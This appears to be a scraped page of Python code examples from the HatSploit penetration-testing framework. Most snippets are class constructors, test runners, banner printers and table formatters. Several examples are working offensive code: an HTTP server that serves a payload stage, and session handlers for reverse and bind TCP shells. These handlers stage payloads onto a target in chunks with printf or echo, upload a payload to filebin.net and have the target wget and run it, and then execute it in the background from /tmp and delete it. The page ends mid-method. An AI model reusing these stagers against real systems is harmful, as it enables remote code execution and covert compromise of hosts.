Example #1
0
    def __init__(self):
        self.badges = Badges()
        self.importer = Importer()

        self.modules_checks = ModulesChecks()
        self.plugins_checks = PluginsChecks()
        self.payloads_checks = PayloadsChecks()
Example #2
0
    def __init__(self):
        self.parser = Parser()
        self.config = Config()
        self.badges = Badges()
        self.colors = Colors()

        self.colors_script = ColorsScript()
Example #3
0
 def __init__(self):
     self.types = Types()
     self.badges = Badges()
     self.sessions = Sessions()
     self.payloads = Payloads()
     self.local_storage = LocalStorage()
     self.importer = Importer()
Example #4
0
class PerformTests:
    def __init__(self):
        self.badges = Badges()
        self.importer = Importer()

        self.modules_tests = ModulesTests()
        self.plugins_tests = PluginsTests()
        self.payloads_tests = PayloadsTests()

    def perform_tests(self):
        self.importer.import_database()

        statuses = list()
        self.badges.output_process("Performing modules test...")
        statuses.append(self.modules_tests.perform_test())

        self.badges.output_process("Performing plugins test...")
        statuses.append(self.plugins_tests.perform_test())

        self.badges.output_process("Performing payloads test...")
        statuses.append(self.payloads_tests.perform_test())

        for status in statuses:
            if status:
                self.badges.output_error("Not all tests passed!")
                sys.exit(1)
        self.badges.output_success("All tests passed!")
Example #5
0
    def __init__(self):
        self.badges = Badges()
        self.importer = Importer()

        self.modules_tests = ModulesTests()
        self.plugins_tests = PluginsTests()
        self.payloads_tests = PayloadsTests()
Example #6
0
    def __init__(self):
        self.exceptions = Exceptions()
        self.tables = Tables()
        self.badges = Badges()
        self.local_storage = LocalStorage()
        self.modules = Modules()

        self.job_process = None
Example #7
0
    def do_GET(self):
        self.badges = Badges()

        self.badges.output_success(
            f"Connection from {self.client_address[0]}!")
        self.badges.output_process("Sending payload stage...")

        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()

        self.wfile.write(bytes(self.payload, "utf8"))
        self.badges.output_success("Payload sent successfully!")
Example #8
0
    def __init__(self):
        self.io = IO()
        self.tip = Tip()
        self.jobs = Jobs()
        self.execute = Execute()
        self.loader = Loader()
        self.config = Config()
        self.badges = Badges()
        self.banner = Banner()
        self.colors = Colors()
        self.local_storage = LocalStorage()
        self.modules = Modules()
        self.exceptions = Exceptions()

        self.history = self.config.path_config['base_paths']['history_path']
Example #9
0
class FSTools:
    badges = Badges()

    def exists_directory(self, path):
        if os.path.isdir(path):
            if os.path.exists(path):
                return True, "directory"
            self.badges.output_error("Local directory: " + path +
                                     ": does not exist!")
            return False, ""
        directory = os.path.split(path)[0]
        if directory == "":
            directory = "."
        if os.path.exists(directory):
            if os.path.isdir(directory):
                return True, "file"
            self.badges.output_error("Error: " + directory +
                                     ": not a directory!")
            return False, ""
        self.badges.output_error("Local directory: " + directory +
                                 ": does not exist!")
        return False, ""

    def file(self, path):
        if os.path.exists(path):
            if os.path.isdir(path):
                self.badges.output_error("Error: " + path + ": not a file!")
                return False
            return True
        self.badges.output_error("Local file: " + path + ": does not exist!")
        return False
Example #10
0
class BluetoothClient:
    badges = Badges()

    def ble_scan(self,
                 mac=None,
                 buffering=False,
                 enumeration=False,
                 timeout=10):
        scanner = BluetoothScanner(mac).withDelegate(
            ScanDelegate(mac, buffering, enumeration))

        if mac is not None:
            self.badges.output_process("Scanning BLE device...")
        else:
            self.badges.output_process("Scanning for BLE devices...")

        devices = list()
        try:
            devices = [result for result in scanner.scan(timeout)]
        except Exception as e:
            self.badges.output_error(
                "Failed to scan. Check your bluetooth hardware.")
            self.badges.output_information(f"Trace: {str(e)}")

        return devices
Example #11
0
class Loader:
    def __init__(self):
        self.badges = Badges()
        self.importer = Importer()
        self.config = Config()

    def load_update_process(self):
        remote_config = requests.get(
            'https://raw.githubusercontent.com/EntySec/HatSploit/main/config/core_config.yml',
            stream=True)
        remote_config = remote_config.content
        if self.config.get_config_file(remote_config)['details']['version'] != \
                self.config.core_config['details']['version']:
            self.badges.output_warning(
                "Your HatSploit Framework is out-dated.")
            self.badges.output_information("Consider running ./update.sh")
            time.sleep(1)

    def load_components(self):
        self.importer.import_all()

    def load_everything(self):
        self.load_update_process()
        self.load_components()

    def load_all(self):
        loading_process = threading.Thread(target=self.load_everything)
        loading_process.start()
        base_line = "Loading the HatSploit Framework..."
        cycle = 0
        while loading_process.is_alive():
            for char in "/-\|":
                status = base_line + char + "\r"
                cycle += 1
                if status[cycle % len(status)] in list(string.ascii_lowercase):
                    status = status[:cycle % len(status)] + status[cycle % len(
                        status)].upper() + status[cycle % len(status) + 1:]
                elif status[cycle % len(status)] in list(
                        string.ascii_uppercase):
                    status = status[:cycle % len(status)] + status[cycle % len(
                        status)].lower() + status[cycle % len(status) + 1:]
                sys.stdout.write(self.badges.P + status)
                time.sleep(.1)
                sys.stdout.flush()
        loading_process.join()
Example #12
0
class Tables:
    badges = Badges()
    
    def print_table(self, name, headers, *args, **kwargs) -> None:
        extra_fill = kwargs.get("extra_fill", 4)
        header_separator = kwargs.get("header_separator", "-")

        if not all(map(lambda x: len(x) == len(headers), args)):
            self.badges.output_error("Headers and table rows tuples should be the same length.")
            return

        def custom_len(x):
            x = str(x)
            try:
                if '\033' in x:
                    return len(x) - 9 * x.count('\033') // 2
                return len(x)
            except TypeError:
                return 0

        fill = list()
        headers_line = '    '
        headers_separator_line = '    '
        for idx, header in enumerate(headers):
            column = [custom_len(arg[idx]) for arg in args]
            column.append(len(header))

            current_line_fill = max(column) + extra_fill
            fill.append(current_line_fill)
            headers_line = "".join((headers_line, "{header:<{fill}}".format(header=header, fill=current_line_fill)))
            headers_separator_line = "".join((
                headers_separator_line,
                "{:<{}}".format(header_separator * len(header), current_line_fill)
            ))

        self.badges.output_empty('\n' + name.split()[0].title() + name[len(name.split()[0]):] + ':')
        self.badges.output_empty("")
        self.badges.output_empty(headers_line)
        self.badges.output_empty(headers_separator_line)
        for arg in args:
            content_line = "    "
            for idx, element in enumerate(arg):
                element = str(element)
                fill_line = fill[idx]

                if '\033' in element:
                    fill_line = fill[idx] + 9 * element.count('\033') // 2

                content_line = "".join((
                    content_line,
                    "{:<{}}".format(element, fill_line)
                ))
            self.badges.output_empty(content_line)
        self.badges.output_empty("")
Example #13
0
class Tip:
    def __init__(self):
        self.parser = Parser()
        self.config = Config()
        self.badges = Badges()
        self.colors = Colors()

        self.colors_script = ColorsScript()

    def print_random_tip(self):
        if os.path.exists(self.config.path_config['base_paths']['tips_path']):
            tips = list()
            all_tips = os.listdir(
                self.config.path_config['base_paths']['tips_path'])
            for tip in all_tips:
                tips.append(tip)
            if tips:
                tip = ""
                while not tip:
                    random_tip = random.randint(0, len(tips) - 1)
                    tip = self.colors_script.parse_colors_script(
                        self.config.path_config['base_paths']['tips_path'] +
                        tips[random_tip])
                self.badges.output_empty(self.colors.END + "HatSploit Tip: " +
                                         tip + self.colors.END)
            else:
                self.badges.output_warning("No tips detected.")
        else:
            self.badges.output_warning("No tips detected.")
Example #14
0
class Banner:
    def __init__(self):
        self.parser = Parser()
        self.config = Config()
        self.badges = Badges()
        self.colors = Colors()

        self.colors_script = ColorsScript()

    def print_random_banner(self):
        if os.path.exists(
                self.config.path_config['base_paths']['banners_path']):
            banners = list()
            all_banners = os.listdir(
                self.config.path_config['base_paths']['banners_path'])
            for banner in all_banners:
                banners.append(banner)
            if banners:
                banner = ""
                while not banner:
                    random_banner = random.randint(0, len(banners) - 1)
                    banner = self.colors_script.parse_colors_script(
                        self.config.path_config['base_paths']['banners_path'] +
                        banners[random_banner])
                self.badges.output_empty(self.colors.END + banner +
                                         self.colors.END)
            else:
                self.badges.output_warning("No banners detected.")
        else:
            self.badges.output_warning("No banners detected.")
Example #15
0
class ModulesChecks:
    def __init__(self):
        self.badges = Badges()
        self.importer = Importer()
        self.local_storage = LocalStorage()
        self.modules = Modules()

    def perform_check(self):
        fail = False
        all_modules = self.local_storage.get("modules")
        if all_modules:
            for database in all_modules.keys():
                self.badges.output_process("Checking modules from " +
                                           database + " database...")
                modules = all_modules[database]
                for category in modules.keys():
                    for platform in modules[category].keys():
                        for module in modules[category][platform].keys():
                            try:
                                _ = self.importer.import_module(
                                    modules[category][platform][module]
                                    ['Path'])
                                self.badges.output_success(
                                    self.modules.get_full_name(
                                        category, platform, module) + ': OK')
                            except Exception:
                                self.badges.output_error(
                                    self.modules.get_full_name(
                                        category, platform, module) + ': FAIL')
                                fail = True
        return fail
Example #16
0
class PayloadsTests:
    def __init__(self):
        self.badges = Badges()
        self.importer = Importer()
        self.local_storage = LocalStorage()
        self.payloads = Payloads()

    def perform_test(self):
        fail = False
        all_payloads = self.local_storage.get("payloads")
        if all_payloads:
            for database in all_payloads.keys():
                self.badges.output_process("Testing payloads from " +
                                           database + " database...")
                payloads = all_payloads[database]
                for platform in payloads.keys():
                    for architecture in payloads[platform].keys():
                        for payload in payloads[platform][architecture].keys():
                            try:
                                _ = self.importer.import_payload(
                                    payloads[platform][architecture][payload]
                                    ['Path'])
                                self.badges.output_success(
                                    self.payloads.get_full_name(
                                        platform, architecture, payload) +
                                    ': OK')
                            except Exception:
                                self.badges.output_error(
                                    self.payloads.get_full_name(
                                        platform, architecture, payload) +
                                    ': FAIL')
                                fail = True
        return fail
Example #17
0
    def __init__(self):
        self.badges = Badges()
        self.local_storage = LocalStorage()

        self.base_path = '/opt/hsf/'
        self.config_path = self.base_path + 'config/'

        self.db_config_file = self.config_path + 'db_config.yml'
        self.path_config_file = self.config_path + 'path_config.yml'
        self.core_config_file = self.config_path + 'core_config.yml'

        self.db_config = self.local_storage.get("db_config")
        self.path_config = self.local_storage.get("path_config")
        self.core_config = self.local_storage.get("core_config")
Example #18
0
class Handler(http.server.SimpleHTTPRequestHandler):
    def log_request(self, fmt, *args):
        pass

    def do_GET(self):
        self.badges = Badges()

        self.badges.output_success(
            f"Connection from {self.client_address[0]}!")
        self.badges.output_process("Sending payload stage...")

        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()

        self.wfile.write(bytes(self.payload, "utf8"))
        self.badges.output_success("Payload sent successfully!")
Example #19
0
class PluginsChecks:
    def __init__(self):
        self.badges = Badges()
        self.importer = Importer()
        self.local_storage = LocalStorage()

    def perform_check(self):
        fail = False
        all_plugins = self.local_storage.get("plugins")
        if all_plugins:
            for database in all_plugins.keys():
                self.badges.output_process("Checking plugins from " + database + " database...")
                plugins = all_plugins[database]
                for plugin in plugins.keys():
                    try:
                        _ = self.importer.import_plugin(plugins[plugin]['Path'])
                        self.badges.output_success(plugin + ': OK')
                    except Exception:
                        self.badges.output_error(plugin + ': FAIL')
                        fail = True
        return fail
class Handler(TCP):
    sessions = Sessions()
    local_storage = LocalStorage()
    modules = Modules()
    badges = Badges()

    def listen_session(self,
                       local_host,
                       local_port,
                       timeout=None,
                       session=HatSploitSession):
        try:
            client, address = self.listen(local_host, local_port, timeout)
            session = session()
            session.open(client)
            return session, address
        except Exception:
            self.badges.output_error("Failed to handle session!")
            return None, None

    def connect_session(self,
                        remote_host,
                        remote_port,
                        timeout=None,
                        session=HatSploitSession):
        try:
            client = self.connect(remote_host, remote_port, timeout)
            session = session()
            session.open(client)
            return session
        except Exception:
            self.badges.output_error("Failed to handle session!")
            return None

    def bytes_to_octal(self, bytes_obj):
        byte_octals = []
        for byte in bytes_obj:
            byte_octal = '\\' + oct(byte)[2:]
            byte_octals.append(byte_octal)
        return ''.join(byte_octals)

    def echo_stage(self,
                   payload,
                   sender,
                   args=[],
                   payload_args=None,
                   location='/tmp',
                   encode=False):
        self.badges.output_process("Sending payload stage...")
        filename = binascii.hexlify(os.urandom(8)).decode()
        path = location + '/' + filename

        echo_stream = "printf '{}' >> {}"
        echo_max_length = 100

        size = len(payload)
        num_parts = int(size / echo_max_length) + 1

        for i in range(0, num_parts):
            current = i * echo_max_length
            block = self.bytes_to_octal(payload[current:current +
                                                echo_max_length])
            command = echo_stream.format(block, path)

            self.badges.output_multi(
                f"Uploading payload... ({str(current)}/{str(size)})")
            if encode:
                sender(*args, (command + '\n').encode())
            else:
                sender(*args, command)

        args = args if args is not None else ""

        if encode:
            sender(
                *args,
                f"chmod 777 {path}; sh -c '{path} {payload_args}' 2>/dev/null &\n"
                .encode())
        else:
            sender(
                *args,
                f"chmod 777 {path}; sh -c '{path} {payload_args}' 2>/dev/null &"
            )

    def set_session_details(self, payload, session):
        if not session.details['Type']:
            session.details['Type'] = 'custom'

        session.details['Platform'] = payload['Platform']
        return session

    def handle_session(self,
                       host,
                       port,
                       payload,
                       sender=None,
                       args=[],
                       location='/tmp',
                       timeout=None,
                       method=None):
        if payload['Payload'] is None:
            self.badges.output_error("Payload stage is not found!")
            return False

        if sender is not None:
            session = payload['Session'] if payload[
                'Session'] is not None else HatSploitSession
            if payload['Category'].lower() == 'stager':
                self.echo_stage(payload['Payload'], sender, args,
                                payload['Args'], location)
            elif payload['Category'].lower() == 'single':
                sender(*args, payload['Payload'])
            else:
                self.badges.output_error("Invalid payload category!")
                return False
        else:
            if method is not None:
                if method.lower() == 'reverse_tcp':
                    new_session, remote_host = self.listen_session(
                        host, port, timeout, HatSploitSession)
                    if not new_session and not remote_host:
                        return False

                if method.lower() == 'bind_tcp':
                    new_session = self.connect_session(host, port, timeout,
                                                       HatSploitSession)
                    remote_host = host
                    if not new_session:
                        return False

                if payload['Category'].lower() == 'stager':
                    self.echo_stage(payload['Payload'],
                                    new_session.send,
                                    args,
                                    payload['Args'],
                                    location,
                                    encode=True)
                elif payload['Category'].lower() == 'single':
                    new_session.send_command(payload['Payload'])
                else:
                    self.badges.output_error("Invalid payload category!")
                    return False
            else:
                self.badges.output_error("Failed to execute payload stage!")
                return False

        if payload['Type'].lower() == 'one_side':
            self.badges.output_warning(
                "Payload completed but no session was created.")
            return True

        session = payload['Session'] if payload[
            'Session'] is not None else HatSploitSession

        if payload['Type'].lower() == 'bind_tcp':
            new_session = self.connect_session(host, port, timeout, session)
            remote_host = host
            if not new_session:
                return False

        if payload['Type'].lower() == 'reverse_tcp':
            new_session, remote_host = self.listen_session(
                host, port, timeout, session)
            if not new_session and not remote_host:
                return False

        new_session = self.set_session_details(payload, new_session)
        session_platform = new_session.details['Platform']
        session_type = new_session.details['Type']

        session_id = self.sessions.add_session(session_platform, session_type,
                                               remote_host, port, new_session)
        self.badges.output_success("Session " + str(session_id) + " opened!")
        return True
Example #21
0
class Sessions:
    def __init__(self):
        self.badges = Badges()
        self.local_storage = LocalStorage()

    def add_session(self, session_platform, session_type, session_host,
                    session_port, session_object):
        if not self.local_storage.get("sessions"):
            self.local_storage.set("sessions", dict())

        session_id = 0
        if session_platform in self.local_storage.get("sessions").keys():
            sessions = self.local_storage.get("sessions")
            session_id = len(sessions[session_platform])
            sessions[session_platform][int(session_id)] = {
                'type': session_type,
                'host': session_host,
                'port': session_port,
                'object': session_object
            }
        else:
            sessions = {
                session_platform: {
                    int(session_id): {
                        'type': session_type,
                        'host': session_host,
                        'port': session_port,
                        'object': session_object
                    }
                }
            }

        self.local_storage.update("sessions", sessions)
        return session_id

    def check_session_exist(self, session_platform, session_id):
        sessions = self.local_storage.get("sessions")
        if sessions:
            if session_platform in sessions.keys():
                if int(session_id) in sessions[session_platform].keys():
                    return True
        return False

    def spawn_interactive_connection(self, session_platform, session_id):
        sessions = self.local_storage.get("sessions")
        if self.check_session_exist(session_platform, session_id):
            self.badges.output_process("Interacting with session " +
                                       str(session_id) + "...")
            self.badges.output_success("Interactive connection spawned!")
            self.badges.output_information("Type commands below.\n")

            sessions[session_platform][int(session_id)]['object'].interact()
        else:
            self.badges.output_error("Invalid session given!")

    def close_session(self, session_platform, session_id):
        sessions = self.local_storage.get("sessions")
        if self.check_session_exist(session_platform, session_id):
            try:
                sessions[session_platform][int(session_id)]['object'].close()
                del sessions[session_platform][int(session_id)]

                if not sessions[session_platform]:
                    del sessions[session_platform]
                self.local_storage.update("sessions", sessions)
            except Exception:
                self.badges.output_error("Failed to close session!")
        else:
            self.badges.output_error("Invalid session given!")

    def get_session(self, session_platform, session_type, session_id):
        sessions = self.local_storage.get("sessions")
        if self.check_session_exist(session_platform, session_id):
            if session_type == sessions[session_platform][int(
                    session_id)]['type']:
                return sessions[session_platform][int(session_id)]['object']
            self.badges.output_error("Session with invalid type!")
            return None
        return None
Example #22
0
 def __init__(self):
     self.badges = Badges()
     self.exceptions = Exceptions()
Example #23
0
class TCP:
    def __init__(self):
        self.badges = Badges()
        self.exceptions = Exceptions()

    @staticmethod
    def get_local_host():
        try:
            server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            server.connect(("192.168.1.1", 80))
            local_host = server.getsockname()[0]
            server.close()
            local_host = local_host
        except Exception:
            local_host = "127.0.0.1"
        return local_host

    @staticmethod
    def tcp_request(host, port, data, buffer_size=1024, timeout=10):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        sock.connect((host, int(port)))
        sock.send(data.encode())
        output = sock.recv(buffer_size)
        sock.close()
        return output.decode().strip()

    @staticmethod
    def check_tcp_port(host, port, timeout=10):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        if sock.connect_ex((host, int(port))) == 0:
            sock.close()
            return True
        sock.close()
        return False

    def connect(self, remote_host, remote_port, timeout=None):
        address = remote_host + ':' + str(remote_port)
        self.badges.output_process("Connecting to " + address + "...")
        try:
            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server.settimeout(timeout)

            server.connect((remote_host, int(remote_port)))
            self.badges.output_process("Establishing connection...")
        except socket.timeout:
            self.badges.output_warning("Connection timeout.")
            raise self.exceptions.GlobalException
        except Exception:
            self.badges.output_error("Failed to connect to " + address + "!")
            raise self.exceptions.GlobalException
        return server

    def listen(self, local_host, local_port, timeout=None):
        try:
            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            server.settimeout(timeout)
            server.bind((local_host, int(local_port)))
            server.listen(1)

            self.badges.output_process("Listening on port " + str(local_port) +
                                       "...")
            client, address = server.accept()
            self.badges.output_process("Connecting to " + address[0] + "...")
            self.badges.output_process("Establishing connection...")

            server.close()
        except socket.timeout:
            self.badges.output_warning("Timeout waiting for connection.")

            server.close()
            raise self.exceptions.GlobalException
        except Exception:
            self.badges.output_error("Failed to listen on port " +
                                     str(local_port) + "!")
            raise self.exceptions.GlobalException
        return client, address[0]
Example #24
0
class HTTPClient:
    def __init__(self):
        self.badges = Badges()
        self.handler = Handler

    def start_server(self, host, port, payload, forever=True):
        try:
            self.badges.output_process(
                f"Starting http server on port {str(port)}...")
            httpd = socketserver.TCPServer((host, int(port)), self.handler)

            self.badges.output_process("Serving payload on http server...")
            httpd.RequestHandlerClass.payload = payload

            if forever:
                while True:
                    self.badges.output_process("Listening for connections...")
                    httpd.handle_request()
            else:
                self.badges.output_process("Listening for connections...")
                httpd.handle_request()
        except Exception:
            self.badges.output_error(
                f"Failed to start http server on port {str(port)}!")

    def http_request(self,
                     method,
                     host,
                     port,
                     path,
                     ssl=False,
                     session=requests,
                     **kwargs):
        kwargs.setdefault("timeout", HTTP_TIMEOUT)
        kwargs.setdefault("verify", False)
        kwargs.setdefault("allow_redirects", True)

        if not ssl:
            ssl = int(port) in [443]
        url = self.normalize_url(host, port, path, ssl)

        try:
            return getattr(session, method.lower())(url, **kwargs)
        except (requests.exceptions.MissingSchema,
                requests.exceptions.InvalidSchema):
            self.badges.output_error("Invalid URL format: {}!".format(url))
        except requests.exceptions.ConnectionError:
            self.badges.output_error("Connection error: {}!".format(url))
        except requests.RequestException as e:
            self.badges.output_error(e)
        except socket.error as e:
            self.badges.output_error(e)

        return None

    @staticmethod
    def normalize_url(host, port, path, ssl=False):
        if ssl:
            url = "https://"
        else:
            url = "http://"

        url += "{}:{}{}".format(host, port, path)

        return url
Example #25
0
class Payloads:
    def __init__(self):
        self.importer = Importer()
        self.local_storage = LocalStorage()
        self.badges = Badges()

    def check_exist(self, name):
        if self.check_style(name):
            all_payloads = self.local_storage.get("payloads")
            if all_payloads:
                for database in all_payloads.keys():
                    payloads = all_payloads[database]

                    platform = self.get_platform(name)
                    architecture = self.get_architecture(name)

                    if platform in payloads.keys():
                        if architecture in payloads[platform].keys():
                            payload = self.get_name(name)
                            if payload in payloads[platform][
                                    architecture].keys():
                                return True
        return False

    @staticmethod
    def check_style(name):
        if len(name.split('/')) >= 3:
            return True
        return False

    def get_platform(self, name):
        if self.check_style(name):
            return name.split('/')[0]
        return None

    def get_architecture(self, name):
        if self.check_style(name):
            return name.split('/')[1]
        return None

    def get_name(self, name):
        if self.check_style(name):
            return os.path.join(*(name.split(os.path.sep)[2:]))
        return None

    def get_payload_object(self, platform, architecture, name):
        payload_full_name = self.get_full_name(platform, architecture, name)
        if self.check_exist(payload_full_name):
            database = self.get_database(payload_full_name)
            return self.local_storage.get(
                "payloads")[database][platform][architecture][name]
        return None

    def get_database(self, name):
        if self.check_style(name):
            all_payloads = self.local_storage.get("payloads")
            if all_payloads:
                for database in all_payloads.keys():
                    payloads = all_payloads[database]

                    platform = self.get_platform(name)
                    architecture = self.get_architecture(name)

                    if platform in payloads.keys():
                        if architecture in payloads[platform].keys():
                            payload = self.get_name(name)
                            if payload in payloads[platform][
                                    architecture].keys():
                                return database
        return None

    @staticmethod
    def get_full_name(platform, architecture, name):
        return platform + '/' + architecture + '/' + name

    def check_current_module(self):
        if self.local_storage.get("current_module"):
            if len(self.local_storage.get("current_module")) > 0:
                return True
        return False

    def get_current_module_object(self):
        if self.check_current_module():
            return self.local_storage.get_array(
                "current_module",
                self.local_storage.get("current_module_number"))
        return None

    def get_current_module_name(self):
        if self.check_current_module():
            return self.local_storage.get_array(
                "current_module",
                self.local_storage.get(
                    "current_module_number")).details['Module']
        return None

    def import_payload(self, module_name, platform, architecture, name):
        payloads = self.get_payload_object(platform, architecture, name)
        try:
            payload_object = self.importer.import_payload(payloads['Path'])
            current_module_name = module_name

            imported_payloads = self.local_storage.get("imported_payloads")
            if imported_payloads:
                if current_module_name in imported_payloads.keys():
                    imported_payloads[current_module_name].update({
                        payload_object.details['Payload']:
                        copy.copy(payload_object)
                    })
                else:
                    imported_payloads.update({
                        current_module_name: {
                            payload_object.details['Payload']:
                            copy.copy(payload_object)
                        }
                    })
            else:
                imported_payloads = {
                    current_module_name: {
                        payload_object.details['Payload']:
                        copy.copy(payload_object)
                    }
                }
            self.local_storage.set("imported_payloads", imported_payloads)
        except Exception:
            return None
        return payload_object

    def check_imported(self, module_name, name):
        imported_payloads = self.local_storage.get("imported_payloads")
        current_module_name = module_name

        if imported_payloads:
            if current_module_name in imported_payloads.keys():
                if name in imported_payloads[current_module_name].keys():
                    return True
        return False

    def get_current_payload(self):
        imported_payloads = self.local_storage.get("imported_payloads")
        current_module_object = self.get_current_module_object()
        current_module_name = current_module_object.details['Module']

        if hasattr(current_module_object, "payload"):
            name = current_module_object.payload['Value']
            if current_module_name in imported_payloads.keys():
                if name in imported_payloads[current_module_name].keys():
                    return imported_payloads[current_module_name][name]
        return None

    def add_payload(self, module_name, platform, architecture, name):
        payloads = self.get_payload_object(platform, architecture, name)

        not_installed = list()
        for dependence in payloads['Dependencies']:
            if not self.importer.import_check(dependence):
                not_installed.append(dependence)
        if not not_installed:
            full_name = self.get_full_name(platform, architecture, name)

            if not self.check_imported(module_name, full_name):
                payload_object = self.import_payload(module_name, platform,
                                                     architecture, name)
                if not payload_object:
                    self.badges.output_error(
                        "Failed to select payload from database!")
                    return False
        else:
            self.badges.output_error(
                "Payload depends this dependencies which is not installed:")
            for dependence in not_installed:
                self.badges.output_empty("    * " + dependence)
            return False
        return True
Example #26
0
 def __init__(self):
     self.badges = Badges()
     self.handler = Handler
Example #27
0
class Handler(TCP):
    sessions = Sessions()
    local_storage = LocalStorage()
    modules = Modules()
    badges = Badges()

    def listen_session(self,
                       local_host,
                       local_port,
                       timeout=None,
                       session=HatSploitSession):
        try:
            client, address = self.listen(local_host, local_port, timeout)
            session = session()
            session.open(client)
            return session, address
        except Exception:
            self.badges.output_error("Failed to handle session!")
            return None, None

    def connect_session(self,
                        remote_host,
                        remote_port,
                        timeout=None,
                        session=HatSploitSession):
        try:
            client = self.connect(remote_host, remote_port, timeout)
            session = session()
            session.open(client)
            return session
        except Exception:
            self.badges.output_error("Failed to handle session!")
            return None

    def bytes_to_octal(self, bytes_obj, extra_zero=False):
        byte_octals = []
        for byte in bytes_obj:
            byte_octal = '\\0' if extra_zero else '\\' + oct(byte)[2:]
            byte_octals.append(byte_octal)
        return ''.join(byte_octals)

    def wget_stage(self,
                   payload,
                   sender,
                   args=[],
                   payload_args=None,
                   delim=';',
                   location='/tmp',
                   encode=False,
                   execute=True):
        self.badges.output_process("Sending payload stage...")
        filename = binascii.hexlify(os.urandom(8)).decode()
        path = location + '/' + filename

        wget_bin = binascii.hexlify(os.urandom(8)).decode()
        wget_file = binascii.hexlify(os.urandom(8)).decode()

        wget_container = f"https://dev.filebin.net/{wget_bin}"
        wget_server = f"https://dev.filebin.net/{wget_bin}/{wget_file}"

        wget_stream = "wget '{}' -qO {}"

        requests.post(wget_server.format(wget_bin, wget_file), data=payload)
        self.badges.output_process("Uploading payload...")

        if execute:
            self.badges.output_process("Executing payload...")
            command = f"{wget_stream.format(wget_server, path)} {delim} chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\""
            args = args if args is not None else ""
        else:
            command = wget_stream.format(wget_server, path)

        if encode:
            sender(*args, f"{command}\n".encode())
        else:
            sender(*args, {command})
        requests.delete(wget_container)

    def echo_stage(self,
                   payload,
                   sender,
                   args=[],
                   payload_args=None,
                   delim=';',
                   location='/tmp',
                   encode=False,
                   execute=True):
        self.badges.output_process("Sending payload stage...")
        filename = binascii.hexlify(os.urandom(8)).decode()
        path = location + '/' + filename

        echo_stream = "echo -n '{}' >> {}"
        echo_max_length = 100

        size = len(payload)
        num_parts = int(size / echo_max_length) + 1

        for i in range(0, num_parts):
            current = i * echo_max_length
            block = self.bytes_to_octal(payload[current:current +
                                                echo_max_length],
                                        extra_zero=True)
            command = echo_stream.format(block, path)

            self.badges.output_multi(
                f"Uploading payload... ({str(current)}/{str(size)})")
            if encode:
                sender(*args, (command + '\n').encode())
            else:
                sender(*args, command)

        if execute:
            self.badges.output_process("Executing payload...")
            args = args if args is not None else ""
            if encode:
                sender(
                    *args,
                    f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"\n"
                    .encode())
            else:
                sender(
                    *args,
                    f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\""
                )

    def printf_stage(self,
                     payload,
                     sender,
                     args=[],
                     payload_args=None,
                     delim=';',
                     location='/tmp',
                     encode=False,
                     execute=True):
        self.badges.output_process("Sending payload stage...")
        filename = binascii.hexlify(os.urandom(8)).decode()
        path = location + '/' + filename

        printf_stream = "printf '{}' >> {}"
        printf_max_length = 100

        size = len(payload)
        num_parts = int(size / printf_max_length) + 1

        for i in range(0, num_parts):
            current = i * printf_max_length
            block = self.bytes_to_octal(payload[current:current +
                                                printf_max_length])
            command = printf_stream.format(block, path)

            self.badges.output_multi(
                f"Uploading payload... ({str(current)}/{str(size)})")
            if encode:
                sender(*args, (command + '\n').encode())
            else:
                sender(*args, command)

        if execute:
            self.badges.output_process("Executing payload...")
            args = args if args is not None else ""
            if encode:
                sender(
                    *args,
                    f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"\n"
                    .encode())
            else:
                sender(
                    *args,
                    f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\""
                )

    def set_session_details(self, payload, session):
        if not session.details['Type']:
            session.details['Type'] = 'custom'

        session.details['Platform'] = payload['Platform']
        return session

    def handle_session(self,
                       host,
                       port,
                       payload,
                       sender=None,
                       args=[],
                       delim=';',
                       location='/tmp',
                       timeout=None,
                       method=None,
                       post="printf"):
        if payload['Payload'] is None:
            self.badges.output_error("Payload stage is not found!")
            return False

        encode = False
        if sender is not None:
            session = payload['Session'] if payload[
                'Session'] is not None else HatSploitSession
            if payload['Category'].lower() == 'stager':
                if post.lower() == 'printf':
                    self.printf_stage(payload['Payload'], sender, args,
                                      payload['Args'], delim, location, encode)
                elif post.lower() == 'echo':
                    self.echo_stage(payload['Payload'], sender, args,
                                    payload['Args'], delim, location, encode)
                elif post.lower() == 'wget':
                    self.wget_stage(payload['Payload'], sender, args,
                                    payload['Args'], delim, location, encode)
                else:
                    self.output_warning(
                        "Invalid post method, using printf by default.")
                    self.printf_stage(payload['Payload'], sender, args,
                                      payload['Args'], delim, location, encode)
            elif payload['Category'].lower() == 'single':
                sender(*args, payload['Payload'])
            else:
                self.badges.output_error("Invalid payload category!")
                return False
        else:
            if method is not None:
                encode = True
                if method.lower() == 'reverse_tcp':
                    new_session, remote_host = self.listen_session(
                        host, port, timeout, HatSploitSession)
                    if not new_session and not remote_host:
                        return False

                if method.lower() == 'bind_tcp':
                    new_session = self.connect_session(host, port, timeout,
                                                       HatSploitSession)
                    remote_host = host
                    if not new_session:
                        return False

                if payload['Category'].lower() == 'stager':
                    if post.lower() == 'printf':
                        self.printf_stage(payload['Payload'], new_session.send,
                                          args, payload['Args'], delim,
                                          location, encode)
                    elif post.lower() == 'echo':
                        self.echo_stage(payload['Payload'], new_session.send,
                                        args, payload['Args'], delim, location,
                                        encode)
                    elif post.lower() == 'wget':
                        self.wget_stage(payload['Payload'], new_session.send,
                                        args, payload['Args'], delim, location,
                                        encode)
                    else:
                        self.output_warning(
                            "Invalid post method, using printf by default.")
                        self.printf_stage(payload['Payload'], new_session.send,
                                          args, payload['Args'], delim,
                                          location, encode)
                elif payload['Category'].lower() == 'single':
                    new_session.send_command(payload['Payload'])
                else:
